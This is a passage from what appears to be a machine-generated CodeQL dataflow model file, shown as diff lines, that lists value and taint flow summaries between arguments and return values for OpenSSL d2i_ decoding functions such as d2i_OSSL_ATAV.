"", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", 